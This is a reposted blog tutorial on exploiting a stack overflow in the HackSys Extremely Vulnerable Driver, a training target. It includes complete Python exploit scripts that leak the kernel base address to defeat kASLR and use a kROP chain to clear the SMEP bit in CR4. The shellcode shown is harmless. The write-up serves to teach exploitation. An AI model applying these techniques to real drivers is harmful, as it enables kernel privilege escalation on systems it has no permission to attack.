HEVD: kASLR + SMEP Bypass

Original text by Andres Roldan

During the last posts, we’ve been dealing with exploitation in Windows Kernel space. We are using HackSys Extremely Vulnerable Driver or 

HEVD
 as the target which is composed of several vulnerabilities to let practitioners sharpen the Windows Kernel exploitation skills.

In the last post, we successfully created a DoS exploit leveraging a stack overflow vulnerability in 

HEVD
. The DoS ocurred because we placed an arbitrary value on 
EIP
 (
41414141
) and when the OS tried to access that memory address, it was not accessible.

In this article, we will use that ability to overwrite 

EIP
 to execute code in privileged mode.

During the exploitation process, we will come across with Supervisor Mode Execution Prevention or 

SMEP
 which will thwart our exploit. But fear not: we will be able to bypass it.

Local vs Remote exploitation

When we were exploiting Vulnserver, we were doing remote exploitation to a user-space application. That kind of environment has certain specific restrictions, the most notorious are limited buffer space to insert our payload, character restrictions and 

ASLR
 (Address Space Layout Randomization).

When we are exploiting the Windows Kernel, it is assumed that we already have unprivileged local access to the target machine. In that environment, those restrictions are not longer a major issue. For example, the buffer space problem and character restrictions are easily circumvented by allocating dynamic memory with 

VirtualAlloc()
, moving the raw payload to that buffer and overwriting 
EIP
 with the returned pointer.

ASLR
 and 
kASLR
 (Kernel 
ASLR
) is not an issue either, because it works by randomizing the base memory of the modules at every restart, but if we have local access, there are functions in the Windows API that will reveal the current kernel base address.

However, other protections come to scene when trying to exploit at kernel level, like 

DEP
SMEP
CFG
, etc. We will surely come across with some of them later. Stay tuned.

Stack Overflow exploitation

We left off our previous article performing a DoS to the target machine, on where we used the following exploit:


<em>#!/usr/bin/env python3</em>
"""
HackSysExtremeVulnerableDrive Stack Overflow.

Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""

from infi.wioctl import DeviceIoControl

DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'

IOCTL_HEVD_STACK_OVERFLOW = 0x222003
SIZE = 3000

PAYLOAD = (
    b'A' * SIZE
)

HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)

And we were able to overwrite 

EIP
 with the value 
41414141
. If we are going to perform something more interesting, we must start by locating the exact offset on which 
EIP
 is overwritten. Just like on any other user-space exploitation process, we can create a cyclic pattern to find that offset. We can use 
mona
 to do that:

Mona Cyclic Pattern

Then, update our exploit:


<em>#!/usr/bin/env python3</em>
"""
HackSysExtremeVulnerableDrive Stack Overflow.

Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""

from infi.wioctl import DeviceIoControl

DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'

IOCTL_HEVD_STACK_OVERFLOW = 0x222003

PAYLOAD = (
    b'&lt;insert pattern here&gt;'
)

SIZE = len(PAYLOAD)

HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)

And check it:

Mona Cyclic Pattern

Good, 

mona
 discovered that EIP gets overwritten starting at byte 
2080
.

Now, for illustration purposes, we’ll create a simple shellcode to make 

EAX = 0xdeadbeef
. Then, we must copy it in a dynamic generated location created by 
VirtualAlloc()
. The return value of 
VirtualAlloc()
 is a pointer that will be placed starting at byte 2081 of our buffer to divert the execution flow to our shellcode.

Let’s update our exploit with that:


<em>#!/usr/bin/env python3</em>
"""
HackSysExtremeVulnerableDrive Stack Overflow.

Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""

import struct
from ctypes import windll, c_int
from infi.wioctl import DeviceIoControl

KERNEL32 = windll.kernel32
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003

SHELLCODE = (
    b'\xb8\xef\xbe\xad\xde' +     <em># mov eax,0xdeadbeef</em>
    b'\xcc'                       <em># INT3 -&gt; software breakpoint</em>
)

RET_PTR = KERNEL32.VirtualAlloc(
    c_int(0),                    <em># lpAddress</em>
    c_int(len(SHELLCODE)),       <em># dwSize</em>
    c_int(0x3000),               <em># flAllocationType = MEM_COMMIT | MEM_RESERVE</em>
    c_int(0x40)                  <em># flProtect = PAGE_EXECUTE_READWRITE</em>
)

KERNEL32.RtlMoveMemory(
    c_int(RET_PTR),              <em># Destination</em>
    SHELLCODE,                   <em># Source</em>
    c_int(len(SHELLCODE))        <em># Length</em>
)

PAYLOAD = (
    b'A' * 2080 +
    struct.pack('&lt;L', RET_PTR)
)

SIZE = len(PAYLOAD)

HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)

If everything comes as expected, 

EAX
 will have the value 
0xdeadbeef
 and execution will pause at the inserted breakpoint 
\xcc
. Let’s check it:

SMEP in action

Ouch!

Our exploit was thwarted and the error 

ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY
 was triggered when the first instruction of our shellcode was trying to execute. That means that 
SMEP
 did protect the kernel.

SMEP: Supervisor Mode Execution Prevention

There’s a concept called Protection rings which is used by operating systems to delimit capabilities and provide fault tolerance, by defining levels of privileges. Windows OS versions uses only 2 Current Privilege Levels (

CPL
): 0 and 3. 
CPL
 levels are also referred as 
rings
CPL0
 or 
ring-0
 is where the kernel is executed and 
CPL3
 or 
ring-3
 is where user mode instructions are performed.

SMEP
 is a protection introduced at CPU-level which prevents the kernel to execute code belonging to 
ring-3
.

The 

ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY
 exception was triggered because 
HEVD
 is executing at 
ring-0
 and after overwriting 
EIP
, it was trying to run the instructions in our shellcode which was allocated at 
ring-3
.

Technically, 

SMEP
 is nothing but a bit in a CPU control register, specifically the 20th bit of the 
CR4
 control register:

CR4 register

To bypass 

SMEP
, we must flip that bit (make it 
0
). As can be seen, the current value of 
CR4
 with 
SMEP
 enabled is 
001406e9
. Let’s check what would be the value after flipping the 20th bit:

CR4 register

It would be 

000406e9
. We need to place that value on 
CR4
 to turn off 
SMEP
.

But, how can we do that if we are not allowed to execute instructions at 

ring-3
ROP comes to the rescue! We need to execute a 
ROP
 chain with instructions that are already in kernel mode. At 
ring-0
 
ROP
 is often referred as 
kROP
. We then need to execute a 
kROP
 chain and change the value of 
CR4
. With that, we should be able to make 
EAX = 0xdeadbeef
.

In 

nt!KeFlushCurrentTb
, we find a gadget that sets 
CR4
 from whatever value 
EAX
 may have: 
mov cr4, eax # ret

CR4 ROP

Now, we need to calculate the offset of that 

ROP
 gadget from the start of the 
nt
 module:

CR4 ROP Offset

The offset is 

0011f8de
. We’ll use that later.

Now we need to find a 

pop eax # ret
 gadget. We can find one at 
nt!_MapCMDevicePropertyToNtProperty+0x39
:

POP EAX ROP

And the offset from the start of the 

nt
 module is 
0002bbef
:

POP EAX Offset

We must remember to pad our 

ROP
 chain with 8 bytes because the overflowed function epilog uses 
ret 8
 which will return to the value pointed by 
ESP
 and then will pop 8 bytes from the stack:

ROP Padding

With that, we can now disable 

SMEP
!

Defeating kASLR

We’ve got all the required information to create the 

ROP
 chain to disable 
SMEP
. However, we need to deal with kernel 
ASLR
. As I mentioned before, there are several functions that can be executed in user mode (
ring-3
) that can give information of addresses at 
ring-0
. The most used are 
NtQuerySystemInformation()
 and 
EnumDeviceDrivers()
. The later is the simpler. With the following code, you can get the kernel base address:


import sys
from ctypes import windll, c_ulong, byref, sizeof

PSAPI = windll.psapi

def get_kernel_base():
    """Obtain kernel base address."""
    buff_size = 0x4

    base = (c_ulong * buff_size)(0)

    if not PSAPI.EnumDeviceDrivers(base, sizeof(base), byref(c_ulong())):
        print('Failed to get kernel base address.')
        sys.exit(1)
    return base&#91;0]

BASE_ADDRESS = get_kernel_base()
print(f'Obtained kernel base address: {hex(BASE_ADDRESS)}')

And check it:

Kernel Base Address

As you can see, it matches perfectly to the address reported by 

WinDBG
:

Kernel Base Address

With that, we can update our exploit, adding the 

ROP
 chain to disable 
SMEP
, using the offsets of the gadgets and the value returned from that function to obtain absolute addresses, defeating 
kASLR
!


<em>#!/usr/bin/env python3</em>
"""
HackSysExtremeVulnerableDrive Stack Overflow.

Vulnerable Software: HackSysExtremeVulnerableDrive
Version: 3.00
Exploit Author: Andres Roldan
Tested On: Windows 10 1703
Writeup: https://fluidattacks.com/blog/hevd-smep-bypass/
"""

import struct
import sys
from ctypes import windll, c_int, c_ulong, byref, sizeof
from infi.wioctl import DeviceIoControl

KERNEL32 = windll.kernel32
PSAPI = windll.psapi
DEVICE_NAME = r'\\.\HackSysExtremeVulnerableDriver'
IOCTL_HEVD_STACK_OVERFLOW = 0x222003


def get_kernel_base():
    """Obtain kernel base address."""
    buff_size = 0x4

    base = (c_ulong * buff_size)(0)

    if not PSAPI.EnumDeviceDrivers(base, sizeof(base), byref(c_ulong())):
        print('Failed to get kernel base address.')
        sys.exit(1)
    return base&#91;0]


BASE_ADDRESS = get_kernel_base()
print(f'Obtained kernel base address: {hex(BASE_ADDRESS)}')

SHELLCODE = (
    b'\xb8\xef\xbe\xad\xde' +     <em># mov eax,0xdeadbeef</em>
    b'\xcc'                       <em># INT3 -&gt; software breakpoint</em>
)

RET_PTR = KERNEL32.VirtualAlloc(
    c_int(0),                    <em># lpAddress</em>
    c_int(len(SHELLCODE)),       <em># dwSize</em>
    c_int(0x3000),               <em># flAllocationType = MEM_COMMIT | MEM_RESERVE</em>
    c_int(0x40)                  <em># flProtect = PAGE_EXECUTE_READWRITE</em>
)

KERNEL32.RtlMoveMemory(
    c_int(RET_PTR),              <em># Destination</em>
    SHELLCODE,                   <em># Source</em>
    c_int(len(SHELLCODE))        <em># Length</em>
)

ROP_CHAIN = (
    struct.pack('&lt;L', BASE_ADDRESS + 0x0002bbef) +     <em>#  pop eax # ret</em>
    struct.pack('&lt;L', 0x42424242) +                    <em>#  Padding for ret 8</em>
    struct.pack('&lt;L', 0x42424242) +                    <em>#</em>
    struct.pack('&lt;L', 0x000406e9) +                    <em>#  Value to disable SMEP</em>
    struct.pack('&lt;L', BASE_ADDRESS + 0x0011f8de) +     <em>#  mov cr4, eax # ret</em>
    struct.pack('&lt;L', RET_PTR)                         <em>#  Pointer to shellcode</em>
)

PAYLOAD = (
    b'A' * 2080 +
    ROP_CHAIN
)

SIZE = len(PAYLOAD)

HANDLE = DeviceIoControl(DEVICE_NAME)
HANDLE.ioctl(IOCTL_HEVD_STACK_OVERFLOW, PAYLOAD, SIZE, 0, 0)

Looks good. Now check it:

Success

And this is the content of the 

CR4
 register:

Success

As you can see, we were able to disable 

SMEP
 and made 
EAX = 0xdeadbeef
!

Conclusions

In this post we were able to execute a shellcode which made 

EAX = 0xdeadbeef
. We also bypassed 
SMEP
 protection using a 
kROP
 chain and defeated 
kASLR
 by leaking the kernel base address from 
ring-3
. However, we have still have to get a privileged shell on this system, which will be covered in the next article.

РубрикиБез рубрики

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

%d такие блоггеры, как: